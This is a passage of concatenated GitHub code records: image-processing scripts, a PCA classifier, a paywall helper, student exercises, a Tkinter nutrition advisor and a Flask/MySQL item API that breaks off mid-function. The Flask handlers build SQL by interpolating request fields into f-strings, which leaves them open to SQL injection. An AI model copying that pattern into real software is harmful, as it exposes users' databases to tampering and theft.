sino_arr.shape\n\n num_samples_to_remove = int(frac_to_remove * num_cols)\n cols_to_remove = np.random.choice(\n range(num_cols), size=num_samples_to_remove, replace=False\n )\n\n sino_arr[:, cols_to_remove] = np.zeros((num_rows, 1))\n\n return itk.image_from_array(sino_arr)\n\n\ndef convert_to_sinogram(im: itk.Image, theta=None):\n im_size = im.GetLargestPossibleRegion().GetSize()\n if len(im_size) == 3:\n if im_size[2] != 1:\n raise ValueError(\n \"im argument must either be a 2d image or a 3d image with length 1 in final dimension\"\n )\n\n im = util.extract_slice(im, 0, PixelType=PixelType)\n im_size = im.GetLargestPossibleRegion().GetSize()\n\n ncol, nrow = im_size\n if theta is None:\n theta = np.linspace(0, 180, max(ncol, nrow))\n\n sino_arr = skimage.transform.radon(im, theta=theta, circle=False)\n return itk.image_from_array(sino_arr)\n\n\ndef generate_synthetic_data(\n source_dir=RAW_SOURCE_DIR,\n complete_sino_dir=SYNTHETIC_SINO_DIR,\n incomplete_sino_dir=SYNTHETIC_INCOMPLETE_SINO_DIR,\n):\n \"\"\"\n Takes a directory with reconstructed images as input, then generates\n matched pairs of complete sinograms and incomplete sinograms. Writes them\n out to `complete_sino_dir` and `incomplete_sino_dir` respectively.\n \"\"\"\n if isinstance(complete_sino_dir, str):\n complete_sino_dir = Path(complete_sino_dir)\n\n if isinstance(incomplete_sino_dir, str):\n incomplete_sino_dir = Path(incomplete_sino_dir)\n\n for p in [complete_sino_dir, incomplete_sino_dir]:\n if p.exists():\n shutil.rmtree(str(p))\n p.mkdir(parents=True)\n\n paths = sorted(glob.glob(str(source_dir / \"*.dcm\")))\n for i, path in enumerate(paths):\n if i % 20 == 0:\n print(\"On image {} of {}\".format(i, len(paths)))\n\n source_im = itk.imread(path, pixel_type=PixelType)\n complete_sino = convert_to_sinogram(source_im)\n incomplete_sino = remove_random_cols_of_image(complete_sino)\n\n # Now write to disk\n stem = Path(path).stem\n\n itk.imwrite(complete_sino, str(complete_sino_dir / (stem + \".mha\")))\n itk.imwrite(incomplete_sino, str(incomplete_sino_dir / (stem + \".mha\")))\n\n\n# Convert all of the images into incomplete sinograms\n# extract data with correct params\ndef extract_data(\n sino_x_dir,\n sino_y_dir,\n train_split=0.6,\n val_split=0.2,\n test_split=0.2,\n):\n \"\"\"\n Note that if the splits dont add up to 1, the ratio is taken\n \"\"\"\n\n all_fnames = [fp.name for fp in sino_x_dir.glob(\"*.*\") if fp.is_file()]\n\n datalist = [\n {\n \"x\": str(sino_x_dir / fn),\n \"y\": str(sino_y_dir / fn),\n }\n for fn in all_fnames\n ]\n train_part, val_part, test_part = partition_dataset(\n datalist, [train_split, val_split, test_split]\n )\n\n # Clear out the directories before filling them again.\n for p in [\n TRAIN_X_DIR,\n TRAIN_Y_DIR,\n VAL_X_DIR,\n VAL_Y_DIR,\n TEST_X_DIR,\n TEST_Y_DIR,\n ]:\n if p.exists():\n shutil.rmtree(str(p))\n p.mkdir(parents=True)\n\n _extract_datalist(train_part, TRAIN_X_DIR, TRAIN_Y_DIR)\n _extract_datalist(val_part, VAL_X_DIR, VAL_Y_DIR)\n _extract_datalist(test_part, TEST_X_DIR, TEST_Y_DIR)\n\n\ndef main():\n my_parser = _construct_parser()\n args = my_parser.parse_args()\n\n if args.sub_command == \"generate_synthetic_data\":\n generate_synthetic_data()\n\n # elif args.sub_command == \"extract\":\n # extract_data()\n\n elif args.sub_command == \"extract_synthetic_data\":\n extract_data(\n SYNTHETIC_INCOMPLETE_SINO_DIR, SYNTHETIC_SINO_DIR\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"johnwparent/sinogram_inpainting","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6592,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"10484431302","text":"import configargparse\n\n\n# Define config class to use instead of parser\nclass Config:\n def __init__(self):\n self.gpu_id = ''\n \n self.print_predictions = False\n self.seed = 0\n self.tb_eval = False\n\n self.data_path = 'deep_lip_reading/media/example'\n self.data_list = 'deep_lip_reading/media/example/demo_list.txt'\n\n self.batch_size = 1\n\n self.img_width = 160\n self.img_height = 160\n self.img_channels = 1\n self.n_labels = 45\n self.pad_mode = 'mid'\n\n self.time_dim = 145\n self.maxlen = 145\n self.transcribe_digits = False\n\n self.lip_model_path = 'deep_lip_reading/models/lrs2_lip_model'\n\n self.graph_type = 'infer'\n self.net_input_size = 112\n self.featurizer = True\n self.feat_dim = 512\n\n self.num_blocks = 6\n self.hidden_units = 512\n self.num_heads = 8\n self.dropout_rate = 0.1\n self.sinusoid = True\n self.mask_pads = False\n\n self.lm_path = 'deep_lip_reading/models/lrs2_language_model'\n self.beam_size = 4\n self.len_alpha = 0.7\n self.lm_alpha = 0.05\n self.top_beams = 1\n\n self.resize_input = 160\n self.scale = 1.4\n self.mean = 0.4161\n self.std = 0.1688\n\n self.horizontal_flip = False\n self.crop_pixels = 0\n self.test_aug_times = 0\n self.n_eval_times = 1 \n\n\ndef load_args(default_config=None):\n return Config()\n","repo_name":"w29ahmed/Synviz","sub_path":"FlaskApp/deep_lip_reading/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"74544337002","text":"import numpy as np\nimport scipy.linalg\n\n\nclass Classifier:\n \"\"\"\n Methods that have been supplied to help complete the assignment\n \"\"\"\n\n @staticmethod\n def classify(train, train_labels, test, features=None):\n \"\"\"Nearest neighbour classification\n\n train - matrix of training data (one sample per row)\n train_labels - corresponding training data labels\n test - matrix of samples to classify\n\n returns: labels - vector of test data labels\n \"\"\"\n\n if features is None:\n features = range(train.shape[1])\n\n train = train[:, features]\n test = test[:, features]\n\n x = np.dot(test, train.transpose())\n modtest = np.sqrt(np.sum(test * test, axis=1))\n modtrain = np.sqrt(np.sum(train * train, axis=1))\n dist = x / np.outer(modtest, modtrain.transpose()) # cosine distance\n nearest = np.argmax(dist, axis=1)\n labels = train_labels[nearest]\n\n return labels\n\n def learnPCA(data, N):\n # Performs PCA dimensionality reduction of 'data' reducing down to\n # N dimensions.\n # Returns:\n # x - dimensionally reduced data\n # v - the PCA axes (which may be useful)\n\n ndata = data.shape[0]\n\n # Calculate and display the mean face\n mean_vector = np.mean(data, axis=0)\n\n # Calculate the mean normalised data\n deltadata = data - mean_vector\n\n # (You'd expect the next line to be deltadata'*deltadata but\n # a computational shortcut is being employed...)\n u = np.dot(deltadata, deltadata.transpose())\n d, pc = scipy.linalg.eigh(u, eigvals=(ndata - N, ndata - 1))\n pc = np.fliplr(pc)\n\n pca_axes = np.dot(pc.transpose(), deltadata)\n\n # compute the mean vector\n mean_vector = np.mean(data, axis=0)\n\n return pca_axes, mean_vector\n\n def reducePCA(data, pca_axes, mean_vector):\n # Performs PCA dimensionality reduction\n\n # subtract mean from all data points\n centered = data - mean_vector\n\n # project points onto PCA axes\n reduced_data = np.dot(centered, pca_axes.transpose())\n\n return reduced_data\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"theWebby/PythonWordSearch","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"43572130701","text":"from __future__ import annotations\nimport requests\nimport streamlit as st\n\n\ndef extract_payer_emails(json_response):\n payer_emails = []\n\n for item in json_response[\"data\"]:\n payer_email = item[\"payer_email\"]\n payer_emails.append(payer_email)\n\n return payer_emails\n\n\ndef get_bmac_payers(access_token: str | None = None, one_time: bool = False):\n if access_token is None:\n access_token = st.secrets[\"bmac_api_key\"]\n\n if one_time is False:\n url = \"https://developers.buymeacoffee.com/api/v1/subscriptions?status=active\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n response = requests.get(url, headers=headers)\n\n if response.status_code == 200:\n return extract_payer_emails(response.json())\n else:\n raise Exception(\n \"Error fetching active subscriptions: \"\n f\"{response.status_code} - {response.text}\"\n )\n else:\n url = \"https://developers.buymeacoffee.com/api/v1/supporters\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n response = requests.get(url, headers=headers)\n\n if response.status_code == 200:\n return extract_payer_emails(response.json())\n else:\n raise Exception(\n \"Error fetching active subscriptions: \"\n f\"{response.status_code} - {response.text}\"\n )\n","repo_name":"tylerjrichards/st-paywall","sub_path":"src/st_paywall/buymeacoffee_auth.py","file_name":"buymeacoffee_auth.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"19"} +{"seq_id":"30070356342","text":"# Transform the 'original' string into the 'bracketed' string by\n# surrounding all vowels - a, e, i, o, u in either case - by square\n# brackets ([]), any digit by angle brackets (<>), and copying all\n# other characters \"as is\".\n#\n# When done, return the 'bracketed' string.\n#\n# Example: bracket(\"I think February 29, 2024 will be sunny.\")\n# returns \"[I] th[i]nk F[e]br[u][a]ry <2><9>, <2><0><2><4> w[i]ll b[e] s[u]nny.\"\n\n#import sys for access to stdin\nimport sys\n\ndef bracket(original):\n\n # The final bracketed string.\n bracketed = \"\"\n\n # List of lowercase vowel characters\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n\n # List of digit characters\n digits = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"0\"]\n\n # For every character in string\n for char in original:\n\n # if the character is a vowel, square bracket it, then add.\n if char.lower() in vowels:\n bracketed += \"[\" + char + \"]\"\n\n # if the character is a digit, angle bracket it, then add.\n elif char in digits: \n bracketed += \"<\" + char + \">\"\n\n # if the character is neither, add it \"as is\"\n else:\n bracketed += char\n\n # return edited string \n return bracketed\n\n\nif __name__ == '__main__':\n \n #get standard input from sis. print out bracketed version.\n for line in sys.stdin:\n print(bracket(line))\n \n","repo_name":"atla5/SWEN-350_PersonalSE","sub_path":"Practicum-1/Bracket.py","file_name":"Bracket.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72637337642","text":"from random import randint\nimport gobject\nimport clutter\nimport mxpy as mx\n\nsort_set = False\nfilter_set = False\n\ndef sort_func(model, a, b, data):\n return int(a.to_hls()[0] - b.to_hls()[0])\n\ndef filter_func(model, iter, data):\n color = iter.get(0)[0]\n h = color.to_hls()[0]\n return (h > 90 and h < 180)\n\ndef key_release_cb(stage, event, model):\n from clutter import keysyms\n global sort_set, filter_set\n if event.keyval == keysyms.s:\n if not sort_set:\n model.set_sort(0, sort_func, None)\n else:\n model.set_sort(-1, None, None)\n sort_set = not sort_set\n elif event.keyval == keysyms.f:\n if not filter_set:\n model.set_filter(filter_func)\n else:\n model.set_filter(None, None)\n filter_set = not filter_set\n\n\nif __name__ == '__main__':\n stage = clutter.Stage()\n stage.connect('destroy', clutter.main_quit)\n stage.set_color((255, 255, 255, 255))\n stage.set_size(320, 240)\n color = clutter.Color(0x0, 0xf, 0xf, 0xf)\n\n scroll = mx.ScrollView()\n scroll.set_size(*stage.get_size())\n stage.add(scroll)\n\n view = mx.ItemView()\n scroll.add(view)\n\n model = clutter.ListModel(clutter.Color, \"color\", float, \"size\")\n\n for i in range(360):\n color = clutter.color_from_hls(randint(0, 255), 0.6, 0.6)\n color.alpha = 0xff\n model.append(0, color, 1, 32.0)\n\n view.set_model(model)\n view.set_item_type(clutter.Rectangle)\n view.add_attribute(\"color\", 0)\n view.add_attribute(\"width\", 1)\n view.add_attribute(\"height\", 1)\n\n stage.connect('key-release-event', key_release_cb, model)\n \n stage.show()\n clutter.main()\n\n\n","repo_name":"buztard/mxpy","sub_path":"examples/test-item-view.py","file_name":"test-item-view.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72165288684","text":"import io\nimport os\n\nfrom google.cloud.speech import types\n\ndef open_file(path, name):\n file_name = os.path.join(\n os.path.dirname(__file__),\n path,\n name)\n\n with io.open(file_name, 'rb') as audio_file:\n content = audio_file.read()\n audio = types.RecognitionAudio(content=content)\n return audio\n","repo_name":"juliamcclellan/Tonality","sub_path":"file_processor.py","file_name":"file_processor.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42793663534","text":"# http://rosettacode.org/wiki/Compare_sorting_algorithms%27_performance\nfrom random import random, choice\n\n\ndef partition(seq, pivot, iterCounter):\n low, middle, up = [], [], []\n for x in seq:\n iterCounter[0] += 1\n if x < pivot:\n low.append(x)\n elif x == pivot:\n middle.append(x)\n else:\n up.append(x)\n return low, middle, up\n\n\ndef qsortranpart(seq, iterCounter):\n iterCounter[0] += 1\n size = len(seq)\n if size < 2: return seq\n low, middle, up = partition(seq, choice(seq), iterCounter)\n return qsortranpart(low, iterCounter) + middle + qsortranpart(up, iterCounter)","repo_name":"CostaBru/BBSort","sub_path":"python3/tests/qsort.py","file_name":"qsort.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"70933747565","text":"import tkinter as tk\nfrom tkinter import messagebox\n\ndef calculate_bmi(weight, height):\n height_in_meters = height / 100\n bmi = weight / (height_in_meters ** 2)\n return bmi\n\ndef get_nutritional_advice(age, gender, goals, height, weight):\n bmi = calculate_bmi(weight, height)\n advice = \"\"\n weight_status = \"\"\n\n if bmi < 18.5:\n weight_status = \"Underweight\"\n advice = \"You are underweight. You should focus on gaining weight in a healthy way.\\n\\n\"\n advice += \"Foods to include:\\n\"\n advice += \"- Whole grains (e.g., quinoa, brown rice, oats)\\n\"\n advice += \"- Lean proteins (e.g., chicken, fish, tofu)\\n\"\n advice += \"- Healthy fats (e.g., avocados, nuts, olive oil)\\n\"\n advice += \"- Dairy or dairy alternatives (e.g., milk, yogurt, cheese)\\n\"\n advice += \"- Nutrient-dense fruits and vegetables\\n\"\n elif bmi >= 18.5 and bmi < 25:\n weight_status = \"Normal weight\"\n advice = \"You have a healthy weight. Maintain a balanced diet and exercise regularly.\\n\\n\"\n advice += \"Foods to include:\\n\"\n advice += \"- Whole grains (e.g., quinoa, brown rice, whole wheat bread)\\n\"\n advice += \"- Lean proteins (e.g., chicken, fish, beans)\\n\"\n advice += \"- Healthy fats (e.g., avocado, nuts, seeds)\\n\"\n advice += \"- Dairy or dairy alternatives (e.g., milk, yogurt, tofu)\\n\"\n advice += \"- Colorful fruits and vegetables\\n\"\n elif bmi >= 25 and bmi < 30:\n weight_status = \"Overweight\"\n advice = \"You are overweight. Focus on reducing your weight through a balanced diet and regular exercise.\\n\\n\"\n advice += \"Foods to include:\\n\"\n advice += \"- Whole grains (e.g., quinoa, brown rice, whole wheat pasta)\\n\"\n advice += \"- Lean proteins (e.g., chicken, fish, legumes)\\n\"\n advice += \"- Healthy fats in moderation (e.g., avocado, nuts, olive oil)\\n\"\n advice += \"- Low-fat dairy or dairy alternatives (e.g., skim milk, low-fat yogurt)\\n\"\n advice += \"- Plenty of fruits and vegetables\\n\"\n advice += \"\\nFoods to limit or avoid:\\n\"\n advice += \"- Processed foods high in added sugars and unhealthy fats\\n\"\n advice += \"- Sugary beverages\\n\"\n else:\n weight_status = \"Obese\"\n advice = \"You are obese. Focus on losing weight through a balanced diet and regular exercise.\\n\\n\"\n advice += \"Foods to include:\\n\"\n advice += \"- Whole grains (e.g., quinoa, brown rice, whole wheat bread)\\n\"\n advice += \"- Lean proteins (e.g., chicken, fish, legumes)\\n\"\n advice += \"- Healthy fats in moderation (e.g., avocado, nuts, olive oil)\\n\"\n advice += \"- Low-fat dairy or dairy alternatives (e.g., skim milk, low-fat yogurt)\\n\"\n advice += \"- Plenty of fruits and vegetables\\n\"\n advice += \"\\nFoods to limit or avoid:\\n\"\n advice += \"- Processed foods high in added sugars and unhealthy fats\\n\"\n advice += \"- Sugary beverages\\n\"\n\n if \"Diabetic\" in goals:\n advice += \"\\nFor Diabetics:\\n\"\n advice += \"- Focus on consuming complex carbohydrates (e.g., whole grains, legumes)\\n\"\n advice += \"- Choose low glycemic index foods\\n\"\n advice += \"- Limit added sugars and sugary beverages\\n\"\n advice += \"- Include lean proteins\\n\"\n advice += \"- Incorporate healthy fats in moderation\\n\"\n advice += \"- Eat small, frequent meals\\n\"\n\n if \"Bodybuilder\" in goals:\n advice += \"\\nFor Bodybuilders:\\n\"\n advice += \"- Consume adequate protein to support muscle growth and repair\\n\"\n advice += \"- Include complex carbohydrates for energy\\n\"\n advice += \"- Incorporate healthy fats for overall health\\n\"\n advice += \"- Stay hydrated\\n\"\n advice += \"- Eat balanced meals and snacks throughout the day\\n\"\n\n if \"Expectant Mother\" in goals:\n if gender == \"Female\":\n advice += \"\\nFor Expectant Mothers:\\n\"\n advice += \"- Consume a variety of fruits, vegetables, whole grains, and lean proteins\\n\"\n advice += \"- Ensure adequate intake of folate, iron, calcium, and omega-3 fatty acids\\n\"\n advice += \"- Stay hydrated\\n\"\n advice += \"- Limit caffeine and avoid alcohol\\n\"\n advice += \"- Consult with a healthcare professional for specific dietary needs\\n\"\n else:\n advice += \"\\nExpectant Mother goal is not applicable for males.\\n\"\n\n return weight_status, advice\n\ndef show_nutritional_advice():\n age = int(age_entry.get())\n gender = gender_var.get()\n goals = []\n if diabetic_checkbutton_var.get():\n goals.append(\"Diabetic\")\n if bodybuilder_checkbutton_var.get():\n goals.append(\"Bodybuilder\")\n if expectant_mother_checkbutton_var.get() and gender == \"Female\":\n goals.append(\"Expectant Mother\")\n height = float(height_entry.get())\n weight = float(weight_entry.get())\n\n weight_status, advice = get_nutritional_advice(age, gender, goals, height, weight)\n messagebox.showinfo(\"Nutritional Advice\", \"Weight Status: {}\\n\\n{}\".format(weight_status, advice))\n\ndef track_progress():\n weight = float(weight_entry.get())\n progress = \"Weight: {} kg\".format(weight)\n progress_listbox.insert(tk.END, progress)\n\n if len(progress_listbox.get(0, tk.END)) > 1:\n initial_weight = float(progress_listbox.get(0).split(\": \")[-1].split(\" kg\")[0])\n current_weight = float(progress_listbox.get(tk.END).split(\": \")[-1].split(\" kg\")[0])\n weight_change = current_weight - initial_weight\n if weight_change > 0:\n progress_message = \"You have gained {} kg since starting.\\n\\n\".format(abs(weight_change))\n progress_message += \"Additional advice for weight gain:\\n\"\n progress_message += \"- Increase caloric intake with nutrient-dense foods\\n\"\n progress_message += \"- Include healthy sources of protein, carbohydrates, and fats\\n\"\n progress_message += \"- Consider incorporating resistance training exercises\\n\"\n elif weight_change < 0:\n progress_message = \"You have lost {} kg since starting.\\n\\n\".format(abs(weight_change))\n progress_message += \"Additional advice for weight loss:\\n\"\n progress_message += \"- Continue following the recommended dietary guidelines\\n\"\n progress_message += \"- Monitor portion sizes and avoid excessive calorie intake\\n\"\n progress_message += \"- Incorporate regular cardiovascular and strength training exercises\\n\"\n else:\n progress_message = \"Your weight has remained unchanged since starting.\\n\\n\"\n progress_message += \"Continue following the recommended dietary guidelines and exercise regularly.\"\n\n messagebox.showinfo(\"Progress Update\", progress_message)\n\n# Create a Tkinter window\nwindow = tk.Tk()\nwindow.title(\"Nutritional Advice and Progress Tracker\")\nwindow.geometry(\"400x650\")\n\n# Change the color of the window\nwindow.configure(bg=\"cyan\")\n\n# Age Label and Entry\nage_label = tk.Label(window, text=\"Age:\")\nage_label.pack(pady=5)\nage_entry = tk.Entry(window)\nage_entry.pack(pady=5)\n\n# Gender Label and Radio Buttons\ngender_label = tk.Label(window, text=\"Gender:\")\ngender_label.pack(pady=5)\ngender_var = tk.StringVar(value=\"Male\")\ngender_male_radio = tk.Radiobutton(window, text=\"Male\", variable=gender_var, value=\"Male\")\ngender_male_radio.pack(pady=2)\ngender_female_radio = tk.Radiobutton(window, text=\"Female\", variable=gender_var, value=\"Female\")\ngender_female_radio.pack(pady=2)\n\n# Height Label and Entry\nheight_label = tk.Label(window, text=\"Height (cm):\")\nheight_label.pack(pady=5)\nheight_entry = tk.Entry(window)\nheight_entry.pack(pady=5)\n\n# Weight Label and Entry\nweight_label = tk.Label(window, text=\"Weight (kg):\")\nweight_label.pack(pady=5)\nweight_entry = tk.Entry(window)\nweight_entry.pack(pady=5)\n\n# Goals Label and Checkbuttons\ngoals_label = tk.Label(window, text=\"Goals:\")\ngoals_label.pack(pady=5)\ndiabetic_checkbutton_var = tk.BooleanVar()\ndiabetic_checkbutton = tk.Checkbutton(window, text=\"Diabetic\", variable=diabetic_checkbutton_var)\ndiabetic_checkbutton.pack(pady=2)\nbodybuilder_checkbutton_var = tk.BooleanVar()\nbodybuilder_checkbutton = tk.Checkbutton(window, text=\"Bodybuilder\", variable=bodybuilder_checkbutton_var)\nbodybuilder_checkbutton.pack(pady=2)\nexpectant_mother_checkbutton_var = tk.BooleanVar()\nexpectant_mother_checkbutton = tk.Checkbutton(window, text=\"Expectant Mother\", variable=expectant_mother_checkbutton_var, state=\"disabled\")\nexpectant_mother_checkbutton.pack(pady=2)\n\n# Update the state of the Expectant Mother checkbox based on the selected gender\ndef update_expectant_mother_checkbox():\n if gender_var.get() == \"Female\":\n expectant_mother_checkbutton.config(state=\"normal\")\n else:\n expectant_mother_checkbutton_var.set(False)\n expectant_mother_checkbutton.config(state=\"disabled\")\n\ngender_var.trace(\"w\", lambda *args: update_expectant_mother_checkbox())\n\n# Button to calculate and show advice\ncalculate_button = tk.Button(window, text=\"Calculate\", command=show_nutritional_advice)\ncalculate_button.pack(pady=10)\n\n# Progress Tracker\nprogress_label = tk.Label(window, text=\"Progress Tracker:\")\nprogress_label.pack(pady=5)\nprogress_listbox = tk.Listbox(window, width=40, height=10)\nprogress_listbox.pack(pady=5)\n\n# Button to track progress\ntrack_button = tk.Button(window, text=\"Track Progress\", command=track_progress)\ntrack_button.pack(pady=10)\n\n# Run the Tkinter event loop\nwindow.mainloop()\n","repo_name":"wamae-ndiritu/PNAS","sub_path":"PersonalizedHealthNutritionAdvisorySystem.py","file_name":"PersonalizedHealthNutritionAdvisorySystem.py","file_ext":"py","file_size_in_byte":9498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31989660683","text":"from cassandra.cluster import Cluster\n\ncluster = Cluster(['172.23.0.9'])\nsession = cluster.connect()\n\nsession.execute(\"CREATE KEYSPACE stock\\\n WITH replication = {'class':'SimpleStrategy', 'replication_factor' : 1}\")\n\nsession.execute(\"USE stock\")\n\nsession.execute(\"CREATE TABLE stock_data (\\\n symbol text,\\\n high double,\\\n low double,\\\n open double,\\\n close double,\\\n volume double,\\\n trading_date timestamp,\\\n PRIMARY KEY (symbol, trading_date)\\\n) WITH CLUSTERING ORDER BY (trading_date DESC)\")\n\nsession.execute(\"CREATE TABLE predicted_price (\\\n symbol text,\\\n high double,\\\n low double,\\\n open double,\\\n close double,\\\n PRIMARY KEY (symbol)\\\n)\")\n\nsession.shutdown()\n","repo_name":"hanahhh/big-data","sub_path":"cassandra/create_model.py","file_name":"create_model.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"285678447","text":"############\n# Part 1 #\n############\n\n\nclass MelonType(object):\n \"\"\"A species of melon at a melon farm.\"\"\"\n\n def __init__(\n self,\n code,\n first_harvest,\n color,\n is_seedless,\n is_bestseller, \n name,\n ):\n \"\"\"Initialize a melon.\"\"\"\n\n self.code = code\n self.first_harvest = first_harvest\n self.color = color\n self.is_seedless = is_seedless\n self.is_bestseller = is_bestseller\n self.name = name\n self.pairings = []\n\n def add_pairing(self, pairing):\n \"\"\"Add a food pairing to the instance's pairings list.\"\"\"\n\n self.pairings.append(pairing)\n\n def update_code(self, new_code):\n \"\"\"Replace the reporting code with the new_code.\"\"\"\n\n self.code = new_code\n\n\ndef make_melon_types():\n \"\"\"Returns a list of current melon types.\"\"\"\n\n all_melon_types = []\n\n musk = MelonType('musk', 1998, 'green', True, True, 'Muskmelon')\n musk.add_pairing('mint')\n all_melon_types.append(musk)\n\n casaba = MelonType('cas', 2003, 'orange', False, False, 'Casaba')\n casaba.add_pairing('strawberries')\n casaba.add_pairing('mint')\n all_melon_types.append(casaba)\n\n crenshaw = MelonType('cren', 1996, 'green', False, False, 'Crenshaw')\n crenshaw.add_pairing('proscuitto')\n all_melon_types.append(crenshaw)\n\n yellow_watermelon = MelonType(\n 'yw',\n 2013,\n 'yellow',\n False,\n True,\n 'Yellow Watermelon'\n )\n yellow_watermelon.add_pairing('ice cream')\n all_melon_types.append(yellow_watermelon)\n\n return all_melon_types\n\ndef print_pairing_info(melon_types):\n \"\"\"Prints information about each melon type's pairings.\"\"\"\n\n for melon in melon_types:\n print(f'{melon.name} pairs with')\n\n for pair in melon.pairings:\n print(f'- {pair}')\n\n print()\n\ndef make_melon_type_lookup(melon_types):\n \"\"\"Takes a list of MelonTypes and returns a dictionary of melon type by code.\n\n Takes in return of make_melon_types as the argument.\"\"\"\n\n # melon_dict = {}\n\n # for melon in melon_types:\n # melon_dict[melon.code] = melon\n\n # return melon_dict\n\n return {melon.code: melon \n for melon in melon_types}\n\n############\n# Part 2 #\n############\n\nclass Melon(object):\n \"\"\"A melon in a melon harvest.\"\"\"\n\n def __init__(\n self,\n melon_type, \n shape_rating, \n color_rating, \n field, \n harvested_by,\n ):\n self.melon_type = melon_type\n self.shape_rating = shape_rating\n self.color_rating = color_rating\n self.field = field\n self.harvested_by = harvested_by\n\n\n def is_sellable(self):\n if self.shape_rating > 5 and self.color_rating > 5 and self.field != 3:\n return True\n else: \n return False\n\n\ndef make_melons(melon_types):\n \"\"\"Returns a list of Melon objects.\n\n Takes in the return value of make_melon_type_lookup as the argument\"\"\"\n\n melons_picked = []\n\n melon_1 = Melon(melon_types['yw'], 8, 7, 2, 'Sheila')\n melons_picked.append(melon_1)\n\n melon_2 = Melon(melon_types['yw'], 3, 4, 2, 'Sheila')\n melons_picked.append(melon_2)\n\n melon_3 = Melon(melon_types['yw'], 9, 8, 3, 'Sheila')\n melons_picked.append(melon_3)\n\n melon_4 = Melon(melon_types['cas'], 10, 6, 35, 'Sheila')\n melons_picked.append(melon_4)\n\n melon_5 = Melon(melon_types['cren'], 8, 9, 35, 'Michael')\n melons_picked.append(melon_5)\n\n melon_6 = Melon(melon_types['cren'], 8, 2, 35, 'Michael')\n melons_picked.append(melon_6)\n\n melon_7 = Melon(melon_types['cren'], 2, 3, 4, 'Michael')\n melons_picked.append(melon_7)\n\n melon_8 = Melon(melon_types['musk'], 6, 7, 4, 'Michael')\n melons_picked.append(melon_8)\n\n melon_9 = Melon(melon_types['yw'], 7, 10, 3, 'Sheila')\n melons_picked.append(melon_9)\n\n return melons_picked\n\ndef get_sellability_report(melons):\n \"\"\"Given a list of melon object, prints whether each one is sellable.\n\n Takes return value of make_melons as the argument. \"\"\"\n\n for melon in melons:\n sellable = melon.is_sellable()\n\n if sellable == True:\n sell_phrase = 'CAN BE SOLD'\n else:\n sell_phrase = 'NOT SELLABLE'\n\n print(f'Harvested by {melon.harvested_by} from Field {melon.field} ({sell_phrase})')\n\ndef create_melon_obj(melon_types):\n \"\"\" Takes a harvest log and creates a list of Melon objects.\n\n Takes in the return value of make_melon_type_lookup as the argument\"\"\"\n\n fname = open('harvest_log.txt')\n\n melons_picked = []\n\n for line in fname:\n words = line.rstrip().split()\n\n melon_code = words[5]\n shape_rating = words[1]\n color_rating = words[3]\n field = words[11]\n harvested_by = words[8]\n\n melon = Melon(\n melon_types[melon_code], \n shape_rating, \n color_rating, \n field, \n harvested_by,\n )\n\n melons_picked.append(melon)\n\n for melon in melons_picked:\n \n if melon.melon_type.is_seedless:\n seeds = \"no seeds\"\n\n else:\n seeds = \"seeds\"\n\n print(f'The melon picked by {melon.harvested_by} is {melon.melon_type.color} and has {seeds}.')\n\n return melons_picked\n\n\n\n\n","repo_name":"ellenlawrence/object-oriented-design","sub_path":"harvest.py","file_name":"harvest.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7760034268","text":"import mysql.connector\nimport json\nfrom flask import Response\nfrom util.utils import get_user_organisation, get_user_organisation_from_params, get_res\n\ndef create_item(request, db_config):\n db = mysql.connector.connect(**db_config)\n cursor = db.cursor()\n try:\n req = request.get_json()\n organisation_id = get_user_organisation(req, db_config)\n title = req[\"title\"]\n description = req.get(\"description\", None)\n story = req[\"story\"]\n type = req[\"type\"]\n cursor.execute(f'''\n INSERT INTO item (title, description, story, status, type, sprint, assigned_to)\n VALUES (\"{title}\", \"{description}\", {story}, 1, {type}, NULL, NULL);\n ''')\n db.commit()\n lastrowid = cursor.lastrowid\n cursor.close()\n db.close()\n return {\"message\": \"Inserted!\", \"tuple_id\": lastrowid}\n except Exception as e:\n cursor.close()\n db.close()\n res = {\"error\": str(e.__class__.__name__), \"message\": str(e)}\n if (str(e.__class__.__name__) == \"IntegrityError\"):\n res[\"message\"] = \"Another item in this story has the same title. Try again!\"\n return Response(json.dumps(res), status=400, mimetype='application/json')\n\ndef read_items(request, db_config):\n db = mysql.connector.connect(**db_config)\n cursor = db.cursor()\n try:\n organisation_id = get_user_organisation_from_params(request, db_config)\n story_id = request.args.get(\"story\")\n cursor.execute(f'''\n SELECT *\n FROM item\n WHERE story={story_id};\n ''')\n res = get_res(cursor=cursor)\n db.close()\n return {\"items\": res}\n except Exception as e:\n db.close()\n return {\"error\": str(e.__class__.__name__), \"message\": str(e)}\n\ndef 